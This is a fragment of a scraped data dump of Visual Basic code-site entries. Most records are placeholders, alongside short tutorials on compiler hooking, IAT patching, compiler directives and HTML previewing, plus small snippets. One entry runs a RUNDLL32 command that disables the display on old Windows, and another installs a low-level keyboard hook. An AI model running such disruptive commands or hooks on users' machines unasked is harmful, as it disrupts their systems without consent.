Function\n"},{"WorldId":1,"id":33882,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":34792,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":34624,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":34549,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":34057,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":32608,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":32445,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":32417,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":31626,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":31865,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":30461,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":28775,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":28784,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":26377,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":25781,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":24616,"LineNumber":1,"line":"Take Control\nof the Compiler \nFor VB5 and VB6\n┬á\nAuthor's Note: This is article is a rewritten excerpt of an\noriginal written by John Chamberlain, a director of software development at\nClinical NetwoRx (cnrx.com). He can be reached by e-mail at <a href=\"mailto:jchamber@lynx.dac.neu.edu\">jchamber@lynx.dac.neu.edu</a>.\nGive credit and props for the original code and article to him. I am merely\nrewriting this to put everything into a better perspective for most of the\npeople on PSC.\nObjectives\nIn the accompanying article and source code, you will learn how\nto write an add-in that allows you to do the following:\n<ol>\n <li>\n View your application's native/object source</li>\n <li>\n Perform selective compilation of your project</li>\n <li>\n Statically link non-VB modules (use true in-line\n C, C++, and assembly code in your projects)</li>\n <li>\n Export functions in your program to a normal, non-ActiveX\n DLL (an API DLL)</li>\n <li>\n Hook API calls by patching the import address table (IAT)\n (sometimes called the \"thunk table\")</li>\n <li>\n Access CPU registers</li>\n <li>\n Increase your program's stack</li>\n <li>\n Change your program's entry point</li>\n <li>\n Increase the maximum number of modules</li>\n <li>\n Call procedures by address</li>\n</ol>\nRequired Tools\nIn order to perform the presented objectives, you will need the\nfollowing:\n<ul>\n <li>\n Visual Basic 5.0 or 6.0 (sorry, VB.NET doesn't work with\n this code)</li>\n <li>\n A C compiler, preferably Visual C++</li>\n <li>\n A debugger, such as SoftIce (if you don't want to spend the\n money or time downloading a debugger, you'll be able to write your own after\n reading this article)</li>\n <li>\n An assembler, preferably Macro Assembler (MASM)</li>\n</ul>\n<hr>\nBackground Information You Need To Read\nDespite what people may think, Visual Basic isn't a true\nlanguage.┬á What many people don't understand is that Visual Basic's\ncompiler only generates native code.┬á This gives your programs better\nperformance, and above all, bullet-proof security for your source.┬á After\nall, how many VB5 and VB6 decompilers do you know of?┬á All this\nmeans you have less control over how your binary programs are complied, which\ncan give you a major headache when you want to keep the number of dependent\nfiles to a bare minimum.┬á Alas, all is not lost.┬á You now have the\npower to seize control of Visual Basic and give it back to your program.┬á\nAs you read, you will be able to intercept VB's native code generation and link\ncustom object modules into your project\nHowever, this after-the-fact added availability has a\nforewarning that is worth mentioning: Microsoft will NOT like the idea that\nthere are programs out there that can now intercept internal API calls of the VB\nenvironment (and most of Windows for that matter).┬á This rules out giving\nyou access to compiler.┬á But that is exactly what this article and code\naccomplishes.\n<blockquote>\n **CRASH-YOUR-COMPUTER WARNING** You\n can safely view the assembly source code of your projects using this add-in,\n but you can count on seeing a lot of General Protection Faults if you\n use the add-in to start inserting your own C or assembly code in a VB\n binary.┬á I'm not saying it shouldn't be done, but I am saying you need to\n consider the power vs. danger trade-off carefully, as you do with any advanced\n technique.\n</blockquote>\nBasic Info On The Visual Basic Compiler and How To Harness It\nVB's compiler consists of two programs: C2.exe and Link.exe.┬á\nLink.exe does just that: it links your object code with intermediate library\ncode and writes the executable.┬á C2 is an older version of Microsoft's\nsecond-pass C compiler; Microsoft modified it specifically for use with VB, and\nit is called once for every file in your project.\nC2 and Link are activated with the kernel function CreateProcess.┬á\nThis is where the magic starts.┬á By hooking the CreateProcess API call, you\nare able to intercept and modify commands sent to C2 and Link.┬á You're\nprobably thinking \"How in the heck do you hook an API call in a VB\nprogram?\"┬á Indeed, this process is complex to say the least, but if\nNuMega can do it with SoftIce, you can do it with Visual Basic.\nFinal Notes Before Downloading the Code\nI strongly recommend reading the original article by John\nChamberlain (which is included in the ZIP), following it step-by-step, and reading\nit very carefully until you really understand what's going on. Once you understand how the controller works, you will find it easy to\nuse; if you skip ahead, you may experience frustration. It goes without saying that this is a sophisticated tool that is appropriate only for advanced programmers. When you use it, you leave the world of the help file behind and enter into uncharted territory. The challenges and risks of forging into this wilderness are substantial, but the potential reward is well worth it: nearly total control over your VB executable.\nMicrosoft includes an assembler called ML.EXE in its Win98 DDK,\nwhich is available for download at <a href=\"http://www.microsoft.com/ddk/ddk98.htm\">http://www.microsoft.com/ddk/ddk98.htm</a>. Theoretically, you can buy MASM from Microsoft, but I could not find out how to buy it. You might have to have wax one of Bill's cars or something before they sell it to you. Microsoft seems to be adopting the same position toward assembly that the government has towards uranium.\nYou won't get far with the Compile Controller unless you have a working knowledge of assemblers and assembly language. If the last program you assembled was on punched cards, now wouldn't be a\nbad time to brush up on your skills. I found the printed (yes, printed!) MASM 6.1 manuals invaluable for this purpose. You will also absolutely need a programmer's reference manual on the x86 instruction set. To get this, call (800) 548-4725 (the Intel literature distribution center). The best book on x86 assembly in print that is easily available is Master Class Assembly Language, but this book is in no way a substitute for the MASM manuals. Check out the assembly language newsgroups and their FAQs for more information. Also, note that the Microsoft knowledge base has a number of useful articles on mixed language development that are relevant.\nNow go forth and kick tail, programmer!"},{"WorldId":1,"id":24389,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":28576,"LineNumber":1,"line":"HyperApp HTML Interfacing\n<hr>\nSpecial thanks to: Stephan (<a href=\"http://vbpoint.cjb.net\">http://vbpoint.cjb.net</a>)\nand Chris Kesler\nWhat Is HyperApp?\n<blockquote>\n HyperApp is an script-driven, object-oriented library which\n allows you to add binary code to any web page you create. I designed HyperApp\n originally to allow for clean-looking page forms in my applications with\n little work, but soon after discovered many more uses.\n HyperApp has three required dependencies:\n <ul>\n <li>\n Microsoft Script Control (found on Windows 2000 and above,\n or at <a href=\"http://msdn.microsoft.com/scripting\">http://msdn.microsoft.com/scripting</a>)</li>\n <li>\n Microsoft Internet Controls</li>\n <li>\n Microsoft HTML Object Library</li>\n </ul>\n</blockquote>\nHyperApp for the Layman\n<blockquote>\n HyperApp is very easy to use. Simply add a reference to 'HyperApp\n HTML Interfacing Object Library 1.0' and add a web browser component. Write\n any code you want to give the page access to in a class file and pass a new\n instance of the class to the HyperApp object. You can even pass forms or any\n other object.\n</blockquote>\nAccessing HyperApp through a page\n<blockquote>\n When creating the HTML for your interface, script commands can\n be called by preceding any navigational object with 'happ://' (as opposed to\n 'http://'). Immediately following happ://, type the statement you wish to\n call. For example, if you had an object named MyObject, and you wanted to\n access its function OpenFile, you might use the following convention:\n <blockquote>\n happ://MyObject.OpenFile\n "c:\\readme.txt"\n </blockquote>\n Note: Any references made like this should be\n encoded with hexidecimal to read something like 'happ://MyObject.OpenFile%20%22c:/readme.txt%22'.\n Using an HTML editor, such as FrontPage, will automatically encode the links\n to this "web-safe" format. HyperApp will automatically decode these\n hex-encoded URLs.\n</blockquote>\nReminder: This is Alpha Work\n<blockquote>\n By releasing this code, I'm not saying it's 100% bug-free.\n However, any bugs you come across, please let me know so I can continue to\n update this, what I hope will be, useful tool.\n Soon to come: a HyperApp plugin for Internet Explorer, which\n will run HyperApp-enabled web pages\n Please vote if you like this code!\n \n</blockquote>\n"},{"WorldId":1,"id":11804,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":32362,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12146,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13697,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":28802,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":11483,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":23221,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":29345,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13190,"LineNumber":1,"line":"shell \"RUNDLL32.EXE user,disableoemlayer\"\n"},{"WorldId":1,"id":11102,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":21347,"LineNumber":1,"line":"I've been asked several times how to print 1 line at-a-time to a dot-matrix line printer. The existing VB print daemon does the buffer thing and only supports page printing to an inkjet/laser printer. Here is the link I found at Microsoft that explains how to print 1 line at a time.\nhttp://support.microsoft.com/support/kb/articles/Q175/0/83.asp?\nGo to the website and cut/paste the code.\n\n"},{"WorldId":1,"id":30929,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":31830,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":25137,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14741,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":11472,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12688,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":25578,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":24310,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12168,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":33476,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12183,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":11670,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":11758,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":11727,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":11216,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":15141,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":22835,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":23099,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":23201,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":23204,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":23210,"LineNumber":1,"line":"Sub Main()\nIf Command = \"\" Then\n Form1.Label1.Caption = \"No arguement.\"\n Form1.Show\nElseIf Command = \"-m\" Then\n Form1.Show\n Form1.WindowState = 1\n Form1.Label1.Caption = \"Arguement: \" & Command\nElse\n Form1.Label1.Caption = \"Arguement: \" & Command\n Form1.Show\nEnd If\nEnd Sub\n"},{"WorldId":1,"id":23116,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":23123,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":22055,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":24158,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":24340,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":23749,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":23692,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":23537,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":24640,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":24707,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":32088,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":31605,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":28887,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":28891,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":29001,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":28923,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":22597,"LineNumber":1,"line":"<html>\n<head>\n<meta http-equiv=Content-Type content=\"text/html; charset=windows-1252\">\n<title>Using VB Compiler Directives</title>\n\n<style>\n\n</style>\n</head>\n<body lang=EN-US style='tab-interval:.5in'>\n<div class=Section1>\nUsing VB Compiler Directives<o:p></o:p>\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\nI don’t know how many times I have seen the following code\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\nIf DebugMode = true then<o:p></o:p>\n┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á Msgbox\n“The Variable value is “ & SomeVar, vbokonly, “Debug”<o:p></o:p>\nEnd if<o:p></o:p>\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\nOr even the following\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\n<span\nstyle='mso-tab-count:1'>┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á ‘Uncomment\nthe following to debug this var<o:p></o:p>\n┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á ‘Msgbox\n“The Variable value is “ & SomeVar, vbokonly, “Debug”<span\nstyle='color:lime'><o:p></o:p>\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\nMany Visual Basic Programmers are not using one of the\npowerful features of VB that equate it with other programming languages.\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\nCompiler Directives.\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\n“What are Compiler Directives?”<o:p></o:p>\nWell, Compiler Directives are small\ninstructions that determine whether or not a piece of code will be included in\nthe Compile and Link process of creating an executable.\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\n“What are the Compiler Directives to\nuse in VB?”<o:p></o:p>\nIn Visual basic you get the\nfollowing\n┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á #<span\nstyle='color:navy'>Const\nThis is private in the module it is defined.<span\nstyle=\"mso-spacerun: yes\">┬á The Const items are NOT global to the\nproject only in their specific scope such as a form or class module\n┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á #<span\nstyle='color:navy'>If\n┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á This\nis used to evaluate an expression of type #Const\n= n-expression \n┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á #<span\nstyle='color:navy'>Elseif\n┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á This\nis used to evaluate an expression of type #Const\n= n-expression within and #IF block\n┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á #<span\nstyle='color:navy'>Else\n┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á Code\nwithin this sub-block is compiled if the #IF\nand #ELSEIF blocks all evaluated to false\n┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á #<span\nstyle='color:navy'>End If\n┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á This\nends the #IF Compiler Directive Block\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\n“Why would I want to use Compiler\nDirectives?┬á I have If Then Statements”<o:p></o:p>\n┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á If you\nbelieve in adding additional code and using additional memory as well as CPU\ncycles then Compiler Directives are not for you.┬á Not to mention having Debug code or unwanted code in your final\nexe simply because you forgot to comment one small line of code.<span\nstyle=\"mso-spacerun: yes\">┬á \n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\n<h1>VB Specified Constants</h1>\n┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á Visual\nBasic defines some Compiler Constants automatically for you.<span\nstyle=\"mso-spacerun: yes\">┬á These are:\n┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á Win16<span\nstyle='mso-tab-count:1'>┬á “This indicates that the development\nenvironment is 16-bit”\n┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á Win32<span\nstyle='mso-tab-count:1'>┬á “This indicates that the development\nenvironment is 32-bit”\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\n<h1>How to use Compiler Directives</h1>\n┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á Let’s take\na look at the first set of code we examined.┬á\nWe notice it is a simple if then determining if the program needs to\nshow a Message Box with the value of a variable.┬á How can we use a Compiler Directive to make this code more\nefficient?\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\n- THIS -<o:p></o:p>\nIf DebugMode = true then<o:p></o:p>\n┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á Msgbox\n“The Variable value is “ & SomeVar, vbokonly, “Debug”<o:p></o:p>\nEnd if<o:p></o:p>\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\n- CAN BE CHANGED TO -<o:p></o:p>\n#Const DebugMode =\ntrue<o:p></o:p>\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\n#If DebugMode = true\nthen<o:p></o:p>\n┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á Msgbox\n“The Variable value is “ & SomeVar, vbokonly, “Debug”<o:p></o:p>\n#End If<o:p></o:p>\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\nNotice there was no real change in the code except we used\nthe #IF directive and ended the statement block with the #END IF statement to\ncheck the value of a special Compiler Variable (which was defined with the\n#CONST block)\nThese work the sameway as the If…Else…Elseif…End If\nstatement we are all used to except for one thing.┬á If the condition being tested doesn’t prove true then the code\ninside the block WILL NOT be included in the outputted code.<span\nstyle=\"mso-spacerun: yes\">┬á \n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\n<h1>Other uses beside Debug</h1>\n┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á The most\ncommon use for Compiler Directives in other languages such as C and C++ are to\ndefine sets of code for different operating systems and versions.<span\nstyle=\"mso-spacerun: yes\">┬á We can do the same thing with visual basic.\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\n‘Programmer needs to determine what kind of code he is trying to\ncreate by defining the<o:p></o:p>\n‘target OS Version here\n#<span\nstyle='color:#333399'>Const OSVersion = “Win9X”<o:p></o:p>\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\n#<span\nstyle='color:#333399'>If OSVersion = "Win9X" <span\nstyle='color:#333399'>Then<o:p></o:p>\n<span\nstyle='mso-tab-count:1'>┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á ‘Programmer\nneeds to put specific Windows 95, 98 code here<o:p></o:p>\n#<span\nstyle='color:#333399'>ElseIf OSVersion = "WinNT" <span\nstyle='color:#333399'>Then<o:p></o:p>\n<span\nstyle='mso-tab-count:1'>┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á ‘Programmer\nneeds to put specific Windows NT code here<o:p></o:p>\n#<span\nstyle='color:#333399'>ElseIf OSVersion = "Win2K" <span\nstyle='color:#333399'>Then<o:p></o:p>\n<span\nstyle='mso-tab-count:1'>┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á ‘Programmer\nneeds to put specific Windows 2000 code here<o:p></o:p>\n#<span\nstyle='color:#333399'>Else<o:p></o:p>\n<span\nstyle='mso-tab-count:1'>┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á ‘Programmer\nhas not defined the OS Version<o:p></o:p>\n#<span\nstyle='color:#333399'>End If<o:p></o:p>\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\n<h1>Final Notes</h1>\n┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á An\nimportant thing to remember is that #Const and\nConst variables cannot be interswitched.┬á\nIf you try to use a #Const variable in place of a const or a const in\nplace of a #Const variable VB will give you\nSyntax errors.\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\n┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á Also very\nimportant is to Remember the scope of the #Const\nvariable.┬á It is only within it’s module\nlike a Form, Module or Class Module.\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\n<h2>Shawn Elliott</h2>\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\n</div>\n</body>\n</html>\n"},{"WorldId":1,"id":10555,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":10558,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":11968,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":34142,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":30927,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14029,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13261,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12469,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12156,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12084,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13106,"LineNumber":1,"line":"Dim hhkLowLevelKybd As Long\nPrivate Sub chkDisable_Click()\nIf chkDisable = vbChecked Then\n hhkLowLevelKybd = SetWindowsHookEx(WH_KEYBOARD_LL, AddressOf LowLevelKeyboardProc, App.hInstance, 0)\nElse\n UnhookWindowsHookEx hhkLowLevelKybd\n hhkLowLevelKybd = 0\nEnd If\nEnd Sub\nPrivate Sub Form_Unload(Cancel As Integer)\nIf hhkLowLevelKybd <> 0 Then UnhookWindowsHookEx hhkLowLevelKybd\nEnd Sub\n"},{"WorldId":1,"id":12762,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13823,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13824,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13134,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13092,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":27380,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14438,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13638,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":11917,"LineNumber":1,"line":"'I know that this is commented in a very basicly\n'but if there is anyone who is really new to VB\n'and need help, it's available.\n'If you have any other questions, just e-mail me.\n'burbble@hotmail.com\n'Enjoy :)\n' ____\n' ___/____\\\n' #####\n' O O\n' <\n' |_____|\n \nDim LastLI As Integer\nDim INum As Integer 'Declare the 2 variables...\nPrivate Sub Command1_Click()\nIf List1.Text = \"\" Then 'Check if nothing is selected\nElse\nList2.AddItem List1.Text 'Add it\nEnd If\nEnd Sub\nPrivate Sub Command2_Click()\nOn Error GoTo ErrHand 'If there is an error, go perform ErrHand\nLastLI = (List2.ListIndex) 'Sets the Last index of the Listbox\nList2.RemoveItem (List2.ListIndex) 'Removes it\nList2.ListIndex = LastLI 'Reselects the previous selection\nErrHand: 'ErrHand, obviously :)\nIf Err.Number = 0 Then 'Error 0 is nothing, so don't do anything if there is an error 0\nElseIf Err.Number = 380 Then 'If the previous selection is unavailable then go to 1 less than that\nList2.ListIndex = LastLI - 1 'Another thing: Error 380 is performed if it cannot find the list index specified (can't remember the name of it off hand :)\nEnd If\nEnd Sub\nPrivate Sub Form_Load()\nTimer1.Enabled = True\nTimer1.Interval = 1\nList1.Top = 0\nList1.Left = 0\nList2.Top = 0\nList2.Left = 1200\nList1.Height = 1035\nList2.Height = 1035\nList1.Width = 1215\nList2.Width = 1215\nCommand1.Width = 1215\nCommand2.Width = 1215\nCommand1.Left = 0\nCommand1.Top = 1080\nCommand2.Top = 1080\nCommand2.Left = 1200\nCommand1.Height = 495\nCommand2.Height = 495\nCommand1.Caption = \"Add\"\nCommand2.Caption = \"Remove\"\nText1.Left = 0\nText1.Top = 1560\nText1.Height = 285\nText1.Width = 2415\nText1.Text = \"\"\nForm1.Height = 2310\nForm1.Width = 2535\n'All of this sets up the Positions of the controls\nFor i = 0 To 30\nList1.AddItem \"Item\" & INum\nINum = INum + 1\nNext i\n'Adds a few items\nINum = 0 'Clears it, pretty pointless really...\nEnd Sub\nPrivate Sub List1_DblClick()\nIf List2.Text = \"\" Then\nElse\nList2.AddItem List1.Text 'Same as clicking on the command button\nEnd If\nEnd Sub\nPrivate Sub List2_DblClick()\nOn Error GoTo ErrHand\nLastLI = (List2.ListIndex)\nList2.RemoveItem (List2.ListIndex)\nList2.ListIndex = LastLI 'This does the same as the command button\nErrHand:\nIf Err.Number = 0 Then\nElseIf Err.Number = 380 Then\nList2.ListIndex = LastLI - 1\nEnd If\nEnd Sub\nPrivate Sub Timer1_Timer()\nText1.Text = \"List1: \" & (List1.ListIndex) & \" List2: \" & (List2.ListIndex)\n'Simply displays the ListIndexes...\nEnd Sub"},{"WorldId":1,"id":26771,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":10571,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12221,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13137,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12345,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13158,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13159,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":27340,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":30085,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13677,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12595,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":10598,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14073,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14074,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":34496,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":34216,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":32449,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":22786,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":29125,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":29068,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":29097,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":29010,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12385,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":21921,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":30031,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":30380,"LineNumber":1,"line":"You can ALWAYS get the recent version at: \nhttp://pscode.com/vb/scripts/showcode.asp?txtCodeId=30031&lngWId=1\nor http://gurhan.kartal.org/visual_basic_projects.htm"},{"WorldId":1,"id":12200,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":6149,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":34858,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13712,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14584,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":11469,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":10902,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":11455,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":10743,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13355,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12792,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":11149,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":11610,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12026,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13037,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12394,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14673,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":23148,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":30453,"LineNumber":1,"line":"To make a WYSIWYG HTML editor, simply put a textbox and a web browser control (here named wb) on a form. Add a module to the project and put in the following code:\nSub Render()\n wb.Document.Script.Document.Clear \n wb.Document.Script.Document.Write Text1.text \n wb.Document.Script.Document.Close \n Exit Sub\nEnd Sub\nTo use it, place this in the textbox's KeyPress or Change event (see below for details on this choice) event:Render\nSimple, isn't it? Now you can view your HTML code as you type it. It helps you to test out your HTML before putting it on your real page. Or you can use this in an actual editor to provide real-time previewing. And since it uses Micro$oft's web browser control, you can use HTML, CSS, JavaScript and ASP.As mentioned above, this code can be used in the Textbox's Keypress or Change events. Use the Keypress event if you want to use it as a simple view-HTML-as-you-type kind of editor. If you're making an editor, place the Render in the Textbox's Change event to let the magic begin. If you want this in a project, I uploaded one<A HREF=\"http://www.planet-source-code.com/xq/ASP/txtCodeId.7489/lngWId.1/qx/vb/scripts/ShowCode.htm\">here</A>."},{"WorldId":1,"id":30032,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":24820,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":24348,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":15077,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13892,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":15098,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14630,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12399,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":25982,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":31050,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13579,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13671,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":21647,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":29544,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":29000,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":27923,"LineNumber":1,"line":"Upload"},{"WorldId":